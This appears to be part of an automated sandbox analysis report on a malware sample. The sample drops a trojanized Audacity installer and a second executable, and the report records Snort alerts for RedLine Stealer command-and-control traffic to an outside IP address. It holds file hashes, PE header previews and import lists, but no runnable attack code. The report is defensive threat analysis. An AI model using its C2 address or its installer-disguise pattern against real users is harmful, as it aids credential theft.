SHA-256:	3E63B82A218F129430C5C7956FF160BD66F190BD44B0B0F3CA0F2459274CF3D7
SHA-512:	E30A6F0909EB0DBFCA1CA39E8CB4359C7D49FBB309E82359DEE82D8D6A1204CD956EC5E26E13CA3E95A73EF5FD1EC716F797EF64F7E49B14F10D5EA2F872E5DE
Malicious:	false
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........S...2y..2y..2y..J...2y.Jx..2y.J\|..2y.J}..2y.Jz..2y.:Ex..2y.HKx..2y./Bx..2y..2x.R2y.HK\|..2y.HKy..2y.HK...2y..2...2y.HK{..2y.Rich.2y.........................PE..d.....{b.........." .................................................................{....`..........................................R......h...........Y.......d......../...........'..8...........................p&..@...............h............................text............................... ..`.rdata..C\.......^..................@..@.data........p.......V..............@....pdata..\............\..............@..@.idata...'.......(...h..............@..@.00cfg..u...........................@..@.rsrc...Y...........................@..@.reloc..j...........................@..B................................................................................................................................

C:\Program Files\Audacity\wxmsw313u_aui_vc_x64_custom.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	924648
Entropy (8bit):	5.735330592455405
Encrypted:	false
SSDEEP:	12288:WxNA4hd86f2l2GATIJdgmpmjeu+ssoKVsoDJu//w:ebhvf2l2GAMxpmjvsoKVsoFu//w
MD5:	99DAE8774DEAA49EADE68EC9C2873526
SHA1:	7390EB496A19926633242591BAC09424A62ACDAF
SHA-256:	407D19F9EFF5224D73C73DD31B478657D516B4F81DD1C6E76FA61FEEA8BE7AC2
SHA-512:	21D7D4A6D796D87EA2D8E5A4417EF7D2FCD81805F54512BDF787E4A19D38CF6F4D3F1F131FD69C7A1F60AA95D3BBFFBC8BD7AFC69D15DDEC1AC72789906FCC87
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........=...SU..SU..SU...U..SU..RT..SU..VT.SU..WT..SU..PT..SU}.RT..SU..RT..SU..RUT.SU}.VT..SU}.ST..SU}.U..SU...U..SU}.QT..SURich..SU........................PE..d.....{b.........." .........z...............................................P............`..............................................p..x...................pS......./... ..........8...........................0...@...............x'...........................text............................... ..`.rdata..B...........................@..@.data...iA...@...&...$..............@....pdata...\.......^...J..............@..@.idata..............................@..@.00cfg..u...........................@..@.rsrc...............................@..@.reloc...+... ...,..................@..B........................................................................................................................................

C:\Program Files\Audacity\wxmsw313u_core_vc_x64_custom.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11484136
Entropy (8bit):	5.764261547659993
Encrypted:	false
SSDEEP:	49152:d/IcwBTgbLIwNH2fIhzWDVN5zCUa1iWrZ0v4Der2k3JKH3jl8j9yqIRjXQMGkEr9:lPPMDJdWrZZRfJIRAOf8iF
MD5:	A21CCB1C9419F6C54381E94DB9B83798
SHA1:	7A12C889FF0A97B44EEF10D9CF82B1D8126F2AED
SHA-256:	F0E73CBC22B5625A7FA231C8618166DD2E9B249BD8C867E056CE7125CBC7DD28
SHA-512:	5BD636E4C5DD98D2334256C0555D436CF9712E9BEEC32194B446CABC90B736090AD66DADB4CF6A6FD96C10870246334D058D02D33AD32E56385BBD841C894F92
Malicious:	false
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$........K.!..r..r..r.RYr..r.R7r..r.R.s..r.R.s..r.R.s..r.R.s..r.S.s..rf].s..r.S.s..rsZ.s..rsZ.s..rsZ.s..r..r.,.r.S.s.+.r.S.s..r.S5r..r.]r..r.S.s..rRich..r........PE..d.....{b.........." ......X...Z.....k................................................O....`............................................]*......X..............\|7......./.......... .}.8................... ~.(.....}.@............@...E...........................text....X.......X................. ..`.rdata....J...X..0J...X.............@..@.data...).......l.................@....pdata...............J..............@..@.idata..e\|...@...~.................@..@minATL..)............n..............@..@.tls................r..............@....00cfg..u...........v..............@..@.rsrc...............x..............@..@.reloc..B...........................@..B................................

C:\Program Files\Audacity\wxmsw313u_html_vc_x64_custom.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	748008
Entropy (8bit):	5.587378359134429
Encrypted:	false
SSDEEP:	6144:Ts4SW144z11oCH2OmSds9GutIBraqsrY5UiBdnYC+GrzK8Y98yZSMqYOhR0BRry3:o81192QTBrFBvtjVS8
MD5:	7FFBED6DE7FF25F5074FBE3E333CEECA
SHA1:	BB4B7036DE8D38FC36D3A50AB766E8CC015E73A3
SHA-256:	3E01724648B57FF85EC76B424B3387467F2CE56B8D05B020247AA8F26B365E52
SHA-512:	5F3B25D443B77E1222AB96D82A947BCE3BDA0590F0737287568C0D502F25B8ECC6B242E83AF073FE63BB5620E5F65459240A1079CB8A790090A79CF5B30269FF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o...+.t.+.t.+.t."...;.t.I.u./.t.I.q.3.t.I.p.#.t.I.w.(.t..u...t..u.).t.+.u.`.t..q.0.t..t..t.....t.+....t..v..t.Rich+.t.................PE..d.....{b.........." .................................................................e....`......................................... ........=.......`...........E...:.../...p.........8...........................P...@................-...........................text...f........................... ..`.rdata..9...........................@..@.data...)R...`...>...B..............@....pdata...M.......N..................@..@.idata..T4.......6..................@..@.00cfg..u....P......................@..@.rsrc........`......................@..@.reloc..1&...p...(..................@..B................................................................................................................................................

C:\Program Files\Audacity\wxmsw313u_qa_vc_x64_custom.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	256488
Entropy (8bit):	5.294092811447059
Encrypted:	false
SSDEEP:	6144:fBxjb0U+bGzZzaryzYf+DX66GDf358RSQ+n7:fY7
MD5:	9186950AAEC049E9A6DA2C05786C23BD
SHA1:	1C39654A83D19AEEF5AA4E15A7A561861E6DEE92
SHA-256:	885CDAA69ACE588B7C805B8CCD55AC55015160D25FE45FBC198AFF4963423D03
SHA-512:	692E31FA475014A1DBBF13E6C96D5C33564C461910C5DC07BA0EEF03F84C42E885DBE7D80313A4D1D89B427A9F0A008AAD72B275501638D9BF00A31E2A148E1F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........jF........................................................k......................................................Rich............................PE..d.....{b.........." .........6......................................................<.....`..........................................~......H................... ......../..............8...............................@...............H#...........................text.............................. ..`.rdata..^...........................@..@.data...I............~..............@....pdata..............................@..@.idata..............................@..@.00cfg..u...........................@..@.rsrc...............................@..@.reloc..`...........................@..B........................................................................................................................................

C:\Program Files\Audacity\zlib1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	139240
Entropy (8bit):	5.611265438551048
Encrypted:	false
SSDEEP:	3072:Bja2hBl43ep7z5vjU9TBfRyjVON7Cnh9X:ta2hw3el58TBJyjVk+nz
MD5:	D6F3B0B5B5107319DB5019D6A0CC5B76
SHA1:	EB958BEDD1D06BC0CD7CFE24E17ED7CB006CDC64
SHA-256:	43106F064C37874EFD7B686025BC447B142C9EB5D16B49E0644C750554BED70E
SHA-512:	8BD37B61C08D5F2FB3C826286C653D0B4FCA083373FAF2FB047A7513904FD5908E73258BC6E0DBD31BE0F0C4E531AF2E064A342295F0BBA21FE5095FF8B2C5AC
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........?...Q...Q...Q.......Q...P.Q......Q...T.Q...U.Q...R.Q.y.P.Q...P.Q...U.Q...Q.Q......Q.......Q...S.Q.Rich..Q.................PE..d.....b.........." ... .:...................................................@............`.......................................................... ..i................/...0..l......8...........................p...@............................................text....9.......:.................. ..`.rdata..z....P.......>..............@..@.data...............................@....pdata..............................@..@.idata..............................@..@.00cfg..u...........................@..@.rsrc...i.... ......................@..@.reloc..d....0......................@..B................................................................................................................................................

C:\ProgramData\Installation_controller.exe

Download File

Process:	C:\Users\user\Desktop\WsiysHggF9.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7705088
Entropy (8bit):	7.975038847386626
Encrypted:	false
SSDEEP:	98304:fXgnL2Z7jZprPfBfSNXsfheZG0XbSKSms52SqhysvT0gLDxsKonUT4Ubg5JkLXof:fQLqT+Xs2lSx2SSLT0sDuRXDrqFJ4
MD5:	46A16F35F193D36DB5B03B6E692658B3
SHA1:	05FCD137B57DF28122B59AABC968B10644F6492C
SHA-256:	98764FFF5D0FA0AF591F83FF5B722858D7027C28B470ED4D4C1C54D0352DC7EF
SHA-512:	B796D1214AC2392717BA28C16293340C77F1ABF122A0B8164B2E2657152AC9D5D22E7A8A4992AE81B9C58B616F260B61C29B38261BF852C68C4280F55C89DAE8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...t..P..........#..................(.>..........@...........................^?.....u.....................................Lh.>.....`[?D\...........................................................O[?@............ .>.............................text............................... ..`.rdata...m..........................@..@.data....0... ......................@....alcjdaw.j.>.`......................`..`.alcjdaw0.u....>..u.................`..`.rsrc...D\...`[?......u.............@..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Audacity.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Mon Oct 3 23:32:00 2022, mtime=Mon Oct 3 23:32:01 2022, atime=Thu Sep 22 22:55:12 2022, length=18346984, window=hide
Category:	dropped
Size (bytes):	865
Entropy (8bit):	4.588949991866646
Encrypted:	false
SSDEEP:	12:8mAyslEBYXXhjsdpF4yesUjkBdoCbnrdto5ND8jEjAHlU9VAebdpxFDcbdpxVKp8:8mXEGdgRVCbBpUAHlU9VfdudsVPm
MD5:	BAF540D93FE49CDA259EC48275C8C857
SHA1:	D8ADF5BA1BBBA89439D90505FBEAC04305617D05
SHA-256:	FF5331FA87C9F0CA8EC530E16F4883198E4242C2699F19F751AFA13B31965FAB
SHA-512:	1DC81844B1033A18BBA9162EE6F4C03B48C85E6584E2FABC4924C975E425A7DE68B039409AE154D60FB4E8D0ED890E2DD7D2042164EE5DD10440EA08B516BAE8
Malicious:	false
Preview:	L..................F.... ....f......K{.....................................{....P.O. .:i.....+00.../C:\.....................1.....>Q.z..PROGRA~1..t......L..U.....E...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....Z.1.....DU....Audacity..B......DU..DU......AV....................v;..A.u.d.a.c.i.t.y.....f.2.....6U. .Audacity.exe..J......DU..DU.......V........................A.u.d.a.c.i.t.y...e.x.e.......U...............-.......T....................C:\Program Files\Audacity\Audacity.exe..2.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.A.u.d.a.c.i.t.y.\.A.u.d.a.c.i.t.y...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.A.u.d.a.c.i.t.y.`.......X.......468325...........!a..%.H.VZAj...x.c2.........-$..!a..%.H.VZAj...x.c2.........-$.E.......9...1SPS..mD..pH.H@..=x.....h....H......K*..@.A..7sFJ............

C:\ProgramData\audacity-win-3.2.0-64bit.exe

Download File

Process:	C:\Users\user\Desktop\WsiysHggF9.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	14290656
Entropy (8bit):	7.972101567600099
Encrypted:	false
SSDEEP:	393216:AJWTFS1Df0vvyRZAcKp76FatiQlxGQBGN0py:AkT4DfGyrAcKJ6YkQBVy
MD5:	553B47079E2FD4820EF2F9841297EF97
SHA1:	DDFAF3A544879F64B4C2CDA8D343EF586A1CF6A2
SHA-256:	E929635D3CBAF8C158EA6440157D305CD09BAF8D6F7A7CF7F9A873EBF144E727
SHA-512:	C5A04A3639CE9CE4A86CFB65C2DBC8CD0A1BD33D465ABCBBB7165A3AA0F2373E3E0DA088D137E4DE59F436126135D3C485B4FFF9F9C0451BCEE415C1745840DA
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...oGXb.................R...@.......^.......p....@..........................p............@......@...................@....... .......p.................../...................................`......................."..T....0.......................text....9.......:.................. ..`.itext.......P.......>.............. ..`.data....7...p...8...V..............@....bss.....m...............................idata....... ......................@....didata......0......................@....edata.......@......................@..@.tls.........P...........................rdata..]....`......................@..@.rsrc........p......................@..@....................................@..@........................................................

C:\Users\Public\Desktop\Audacity.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Mon Oct 3 23:32:00 2022, mtime=Mon Oct 3 23:32:01 2022, atime=Thu Sep 22 22:55:12 2022, length=18346984, window=hide
Category:	dropped
Size (bytes):	853
Entropy (8bit):	4.5729942419151675
Encrypted:	false
SSDEEP:	12:8mAyslEBYXSah5tjbdpF4ykJ5hwSdoCbnrdto5ND8jEjAHlU9VAgbdpxFDcbdpx/:8mXE5ndSmRCbBpUAHlU9VBdudsVPm
MD5:	AB9104D158B38F2CA38277DFE2204C0E
SHA1:	24F9B1D98E9C5EB01795AFB49B786CFFA39ED5C1
SHA-256:	B6928591D502290AB0BC9E484293877E540456145A320671238A83D86833C61E
SHA-512:	6A6E66A5BE1ABA70CAC8E2A8C425AB607F23541226F970E5695761FF593126FD0AFB8ECC4F6CF7E8B30E5B55D73A2DD329C320BA158E54BFF1B83374DDF9BE5B
Malicious:	false
Preview:	L..................F.... ....f......K{.....................................{....P.O. .:i.....+00.../C:\.....................1.....DU....PROGRA~1..t......L.DU......E...............J.....[...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....Z.1.....DU....Audacity..B......DU..DU......AV....................L...A.u.d.a.c.i.t.y.....f.2.....6U. .Audacity.exe..J......DU..DU.......V........................A.u.d.a.c.i.t.y...e.x.e.......U...............-.......T....................C:\Program Files\Audacity\Audacity.exe..,.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.A.u.d.a.c.i.t.y.\.A.u.d.a.c.i.t.y...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.A.u.d.a.c.i.t.y.`.......X.......468325...........!a..%.H.VZAj...x.c2.........-$..!a..%.H.VZAj...x.c2.........-$.E.......9...1SPS..mD..pH.H@..=x.....h....H......K*..@.A..7sFJ............

C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp

Download File

Process:	C:\ProgramData\audacity-win-3.2.0-64bit.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3301352
Entropy (8bit):	6.337141694661292
Encrypted:	false
SSDEEP:	49152:udx4HDQNJL0VR6SgMt+k4RiP+RmXMjiINiMq95FoHVHNTQTEjt333ONcqnx:PHDYsqiPRhINnq95FoHVBt333ONcqx
MD5:	220722BABC7320F6FF80BB591C9DA719
SHA1:	6F2700F72228979D0168E9A2C01C69621E206577
SHA-256:	56C39AD68F75846127334E0266E1A5FD7465EA9F00EF2D47CA16A7672DF13897
SHA-512:	C0782345CBFB35F84DA7001F15BDC45AA477F0C53E21B722AC7ED8C5F40C9DF83145DA45F54321893E5EFEFDE400B55AA6EAE6E83A9C82436E9A48491CFD8555
Malicious:	true
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...oGXb.................B,.........`V,......`,...@...........................3.....B.2...@......@....................-.......-..9...................02../....................................-.......................-.......-......................text.....,.......,................. ..`.itext...(...0,..*....,............. ..`.data........`,......F,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-.......-.............@..@.tls....L.....-..........................rdata..].....-...... -.............@..@.rsrc................"-.............@..@..............1.......0.............@..@........................................................

C:\Users\user\AppData\Local\Temp\is-GK43T.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.994312498291434
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	WsiysHggF9.exe
File size:	21526435
MD5:	350ea577229a9518d3b9dcd76d109e14
SHA1:	b9431df0ca98d1fa3abeefc92d1bd25e4c8b4e22
SHA256:	2c8960c00dfc803bb8175a6833904173b6ff044c7128c24c8de2379b47274c77
SHA512:	b0c50dfeb8889935ebf97982f358ad0b7b4c2969b676904aab325e18f9f7c2db25ffb811df33cbd42f068454d8597a4dbbba88983178dff5006dc2e050059746
SSDEEP:	393216:M1TPcOFw/xVaHL8LTsemEsDVwodwzpl8z8vjw3lbbl3AxMT/fiUUE8qH+T8s:6TEOFeVaHIU1DVwy5m4lbbBAxMDiUeWc
TLSH:	E8273311B39161B4F335B07407AAD33070353D419B9B1CDFA7F93AAAAD70185EE35AA2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b`..&...&...&.....h.+.....j.......k.>.....^.$...._..0...._..5...._....../y..,.../y..#...&...,...._......._..'...._f.'...._..'..

File Icon


Icon Hash:	68d6b0686868f010

Static PE Info

General

Entrypoint:	0x41ea80
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x5EF47EA0 [Thu Jun 25 10:38:24 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	fcf1390e9ce472c7270447fc5c61a0c1

Entrypoint Preview

Instruction
call 00007F385CAD8039h
jmp 00007F385CAD7A3Dh
cmp ecx, dword ptr [0043D668h]
jne 00007F385CAD7BB5h
ret
jmp 00007F385CAD81BEh
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F385CACAA67h
mov dword ptr [esi], 00434560h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 00434568h
mov dword ptr [ecx], 00434560h
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 00434548h
push eax
call 00007F385CADAD57h
test byte ptr [ebp+08h], 00000001h
pop ecx
je 00007F385CAD7BBCh
push 0000000Ch
push esi
call 00007F385CAD7184h
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F385CACA9E2h
push 0043A6A4h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F385CADA456h
int3
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F385CAD7B38h
push 0043A8FCh
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F385CADA439h
int3

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[C++] VS2015 UPD3.1 build 24215
[EXP] VS2015 UPD3.1 build 24215
[RES] VS2015 UPD3 build 24213
[LNK] VS2015 UPD3.1 build 24215

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x3b800	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3b834	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x62000	0x39580	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9c000	0x2264	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x39aa0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x344e8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x32000	0x260	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x3ada4	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x30f2a	0x31000	False	0.5837751116071429	data	6.704420140465974	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x32000	0xa5f2	0xa600	False	0.457996046686747	data	5.259297003766902	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3d000	0x23720	0x1000	False	0.367431640625	data	3.705679035284865	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didat	0x61000	0x188	0x200	False	0.443359375	data	3.299508867679483	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x62000	0x39580	0x39600	False	0.3759914556100218	data	5.246982386311533	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x9c000	0x2264	0x2400	False	0.7727864583333334	data	6.556746947659253	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
PNG	0x6265c	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	English	United States
PNG	0x631a4	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	English	United States
RT_BITMAP	0x64750	0x14a7a	Device independent bitmap graphic, 93 x 302 x 24, image size 84562, resolution 3778 x 3778 px/m
RT_ICON	0x791cc	0x7b3c	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_ICON	0x80d08	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536
RT_ICON	0x91530	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384
RT_ICON	0x95758	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216
RT_ICON	0x97d00	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096
RT_ICON	0x98da8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024
RT_DIALOG	0x99210	0x286	data	English	United States
RT_DIALOG	0x99498	0x13a	data	English	United States
RT_DIALOG	0x995d4	0xec	data	English	United States
RT_DIALOG	0x996c0	0x12e	data	English	United States
RT_DIALOG	0x997f0	0x338	data	English	United States
RT_DIALOG	0x99b28	0x252	data	English	United States
RT_STRING	0x99d7c	0x1e2	data	English	United States
RT_STRING	0x99f60	0x1cc	data	English	United States
RT_STRING	0x9a12c	0x1b8	data	English	United States
RT_STRING	0x9a2e4	0x146	data	English	United States
RT_STRING	0x9a42c	0x446	data	English	United States
RT_STRING	0x9a874	0x166	data	English	United States
RT_STRING	0x9a9dc	0x152	data	English	United States
RT_STRING	0x9ab30	0x10a	data	English	United States
RT_STRING	0x9ac3c	0xbc	data	English	United States
RT_STRING	0x9acf8	0xd6	data	English	United States
RT_GROUP_ICON	0x9add0	0x5a	data
RT_MANIFEST	0x9ae2c	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL

Import

KERNEL32.dll

GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, GetCurrentProcessId, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetTimeFormatW, GetDateFormatW, GetNumberFormatW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, HeapReAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP, GetCommandLineA, GetEnvironmentStringsW, FreeEnvironmentStringsW, DecodePointer

gdiplus.dll

GdiplusShutdown, GdiplusStartup, GdipCreateHBITMAPFromBitmap, GdipCreateBitmapFromStreamICM, GdipCreateBitmapFromStream, GdipDisposeImage, GdipCloneImage, GdipFree, GdipAlloc

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
188.34.179.139192.168.2.610561496932850353 10/03/22-17:32:43.853269	TCP	2850353	ETPRO MALWARE Redline Stealer TCP CnC - Id1Response	10561	49693	188.34.179.139	192.168.2.6
192.168.2.6188.34.179.13949693105612850027 10/03/22-17:32:43.736332	TCP	2850027	ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init	49693	10561	192.168.2.6	188.34.179.139
192.168.2.6188.34.179.13949693105612850286 10/03/22-17:32:54.635526	TCP	2850286	ETPRO TROJAN Redline Stealer TCP CnC Activity	49693	10561	192.168.2.6	188.34.179.139

Network Port Distribution

UDP Packets

